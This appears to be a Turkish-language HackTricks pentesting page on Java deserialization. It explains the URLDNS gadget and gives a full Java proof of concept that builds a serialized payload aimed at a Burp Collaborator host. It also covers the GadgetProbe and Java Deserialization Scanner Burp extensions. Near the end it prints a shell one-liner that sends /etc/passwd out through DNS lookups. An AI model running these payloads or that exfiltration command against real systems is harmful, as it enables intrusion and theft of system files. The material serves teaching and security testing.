Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

HackTricks'i Destekleyin

Deserialization'da DNS isteği

java.net.URL sınıfı Serializable'ı uygular, bu da bu sınıfın serileştirilebileceği anlamına gelir.

public final class URL implements java.io.Serializable {

Bu sınıfın meraklı bir davranışı var. Belgede: “İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebiliyorsa eşdeğer kabul edilir.” Bu nedenle, bir URL nesnesi equals veya hashCode fonksiyonlarından herhangi birini çağırdığında, IP adresini almak için bir DNS isteği gönderilecektir.

Bir URL nesnesinden hashCode fonksiyonunu çağırmak oldukça kolaydır, bu nesneyi deseralize edilecek bir HashMap içine yerleştirmek yeterlidir. Bunun nedeni, HashMap'in readObject fonksiyonunun sonunda bu kodun çalıştırılmasıdır:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Bu, HashMap içindeki her değerle putValçalıştıracak. Ancak, daha önemli olan her değerle hash çağrısıdır. İşte hash fonksiyonunun kodu:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Gözlemleyebileceğiniz gibi, deserialization sırasında bir HashMap için hash fonksiyonu her nesne ile birlikte çalıştırılacak ve hash çalıştırılması sırasında nesnenin .hashCode() çalıştırılacak. Bu nedenle, eğer bir HashMap içinde bir URL nesnesi deserialization ederseniz, URL nesnesi .hashCode() çalıştıracaktır.

Şimdi URLObject.hashCode() koduna bir göz atalım:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Aşağıda görebileceğiniz gibi, bir URLObject .hashCode() çalıştırdığında hashCode(this) olarak çağrılır. Devamında bu fonksiyonun kodunu görebilirsiniz:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Bir getHostAddress'in domaine uygulandığını görebilirsiniz, bir DNS sorgusu başlatıyor.

Bu nedenle, bu sınıf istismar edilebilir ve deserialization'ın mümkün olduğunu göstermek veya hatta bilgi sızdırmak için bir DNS sorgusu başlatmak amacıyla kullanılabilir (bir komut yürütme çıktısını alt alan adı olarak ekleyebilirsiniz).

URLDNS yük kodu örneği

URDNS yük kodunu ysoserial'den burada bulabilirsiniz. Ancak, kodlamayı anlamayı kolaylaştırmak için kendi PoC'mi oluşturdum (ysoserial'den alınan birine dayalı):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Daha fazla bilgi

GadgetProbe

GadgetProbe Burp Suite Uygulama Mağazası'ndan (Extender) indirilebilir.

GadgetProbe, sunucunun Java sınıfında bazı Java sınıflarının var olup olmadığını anlamaya çalışacak, böylece eğer bilinen bir istismara duyarlı olup olmadığını bilebilirsiniz.

Nasıl çalışır

GadgetProbe, önceki bölümün aynı DNS yükünü kullanacak, ancak DNS sorgusunu çalıştırmadan önce rastgele bir sınıfı deseralize etmeye çalışacak. Eğer rastgele sınıf mevcutsa, DNS sorgusu gönderilecek ve GadgetProbe bu sınıfın mevcut olduğunu not edecektir. Eğer DNS isteği asla gönderilmezse, bu, rastgele sınıfın başarıyla deseralize edilmediği anlamına gelir, yani ya mevcut değildir ya da serileştirilebilir/istismar edilebilir değildir.

GitHub içinde, GadgetProbe bazı kelime listelerine sahiptir ve Java sınıflarının test edilmesi için kullanılabilir.

Daha Fazla Bilgi

Java Deserialization Tarayıcı

Bu tarayıcı Burp Uygulama Mağazası'ndan (Extender) indirilebilir. Eklenti, pasif ve aktif yeteneklere sahiptir.

Pasif

Varsayılan olarak, Java serileştirilmiş sihirli baytları aramak için gönderilen tüm istekleri ve yanıtları pasif olarak kontrol eder ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:

Aktif

Manuel Test

Bir isteği seçebilir, sağ tıklayıp DS'ye istek gönder - Manuel Test seçeneğini tıklayabilirsiniz. Ardından, Deserialization Tarayıcı Sekmesi --> Manuel test sekmesi içinde ekleme noktasını seçebilirsiniz. Ve testi başlatın (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).

Bu "Manuel test" olarak adlandırılsa da, oldukça otomatikleştirilmiştir. Deserialization'ın herhangi bir ysoserial yüküne duyarlı olup olmadığını kontrol edecek ve web sunucusunda mevcut olan kütüphaneleri kontrol ederek duyarlı olanları vurgulayacaktır. Duyarlı kütüphaneleri kontrol etmek için Java Sleeps, CPU tüketimi yoluyla sleeps veya daha önce bahsedildiği gibi DNS kullanarak başlatmayı seçebilirsiniz.

İstismar

Duyarlı bir kütüphaneyi tanımladıktan sonra isteği İstismar Sekmesine gönderebilirsiniz. Bu sekmede, enjekte etme noktasını tekrar seçmeniz, oluşturmak istediğiniz duyarlı kütüphaneyi ve komutu yazmanız gerekir. Ardından, uygun Saldırı butonuna basın.

Java Deserialization DNS Exfil bilgisi

Yükünüzü aşağıdakine benzer bir şey çalıştıracak şekilde yapın:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Daha Fazla Bilgi

HackTricks'i Destekleyin

Last updated